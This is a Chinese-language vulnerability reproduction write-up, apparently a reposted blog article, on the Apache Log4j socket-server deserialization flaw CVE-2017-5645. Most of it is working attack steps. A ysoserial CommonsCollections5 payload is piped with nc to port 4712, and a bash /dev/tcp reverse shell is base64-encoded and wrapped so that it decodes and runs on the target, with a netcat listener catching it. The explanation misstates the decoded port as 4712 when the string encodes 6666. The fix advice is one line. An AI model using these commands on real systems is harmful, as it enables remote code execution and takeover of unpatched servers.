当前位置: 首页 > news >正文

Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞

文章目录

  • Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
    • 1.1 漏洞描述
    • 1.2 漏洞复现
      • 1.2.1 环境启动
      • 1.2.2 漏洞验证
      • 1.2.3 漏洞利用
    • 1.3 加固建议

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

1.1 漏洞描述

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

说明内容
漏洞编号CVE-2017-5645
漏洞名称Apache Log4j Server 反序列化命令执行漏洞
漏洞评级高危
影响范围Apache Log4j 2.8.2之前的2.x版本
漏洞描述Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

1.2 漏洞复现

1.2.1 环境启动

image-20231011212552558

1.2.2 漏洞验证

使用nmap工具扫描开放的端口

image-20231011212827813

可以看到4712端口是正常开启的。

使用ysoserial生成payload,然后直接发送给192.168.188.185:4712端口即可。

ysoserial是什么?

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

ysoserial项目地址:

https://github.com/frohoff/ysoserial

下载后打包成jar文件进行使用。

执行命令

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.188.185 4712

image-20231014142922046

执行命令进入容器

sudo docker exec -it [容器id] /bin/bash

image-20231014143048024

执行命令

cd tmp

进入tmp文件夹,查看目录文件,可以看到testsuccess文件,可见touch /tmp/testsuccess执行成功。

image-20231014143127978

1.2.3 漏洞利用

只需要将命令替换成反弹shell的命令,就能够成功弹回shell。

bash -i >& /dev/tcp/192.168.188.185/6666 0>&1

将构造的payload进行base64加密。

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx

image-20231014143732992

kali开启监听

nc -lnvp 6666

image-20231014143853966

再开启一个新的终端,输入如下内容。

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.188.185 4712

命令解析:

  • bash -c:这个选项告诉 Bash 执行后面的一系列命令。
  • {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}:这是一个经过 Base64 编码的命令字符串,解码后为bash -i >& /dev/tcp/192.168.188.185/4712 0>&1。意思是将 Bash 的输入和输出重定向到指定的 IP 地址和端口。
  • {base64,-d}:这个命令使用 base64 工具进行 Base64 解码。
  • {bash,-i}:这个命令会执行解码后的 Bash 命令,即与指定的 IP 地址和端口建立一个交互式的 Shell 连接。

image-20231014144159746

反弹成功

image-20231014144147427

能够正确执行命令,shell反弹成功

image-20231014144706974

1.3 加固建议

更新到最新版本

http://www.lryc.cn/news/197691.html

相关文章:

  • 视口 css
  • Puppeteer记录操作过程及优秀的开源插件(五)
  • 联邦学习+梯度+梯度剪枝
  • 提高研发效率还得看Apipost
  • Elasticsearch使用——结合MybatisPlus使用ES es和MySQL数据一致性 结合RabbitMQ实现解耦
  • 什么是CSGO大行动,2023年CSGO大行动时间预测
  • Pycharm中终端不显示虚拟环境名解决方法
  • 某翻译网站webpack 全扣js逆向法
  • 【C++】C++11 ——— 可变参数模板
  • ros2 UR10仿真包运行
  • flutter开发实战-安卓apk安装、卸载、启动实现
  • AI绘画使用Stable Diffusion(SDXL)绘制玉雕风格的龙
  • 上位机在自动化中有何作用和优势?
  • centos7 部署oracle完整教程(命令行)
  • 数据库常用的几大范式NF
  • 诈骗分子投递“大闸蟹礼品卡”,快递公司如何使用技术手段提前安全预警?
  • 基于晶体结构优化的BP神经网络(分类应用) - 附代码
  • 模型的选择与调优(网格搜索与交叉验证)
  • 2023-10-17 mysql-配置主从-记录
  • 正向代理与反向代理
  • idea热加载,JRebel 插件是目前最好用的热加载插件,它支持 IDEA Ultimate 旗舰版、Community 社区版
  • 0基础学习PyFlink——Map和Reduce函数处理单词统计
  • 在 Ubuntu 22.04安装配置 Ansible
  • 【大数据 - Doris 实践】数据表的基本使用(三):数据模型
  • PMP和CSPM证书,怎么选?
  • 企业宣传为何要重视领军人物包装?领军人物对企业营销的价值和作用分析
  • 什么是内存泄漏?JavaScript 垃圾回收机制原理及方式有哪些?哪些操作会造成内存泄漏?
  • C++项目实战——基于多设计模式下的同步异步日志系统-⑫-日志宏全局接口设计(代理模式)
  • 京东数据接口:京东数据分析怎么做?
  • 使用Git在本地创建一个仓库并将其推送到GitHub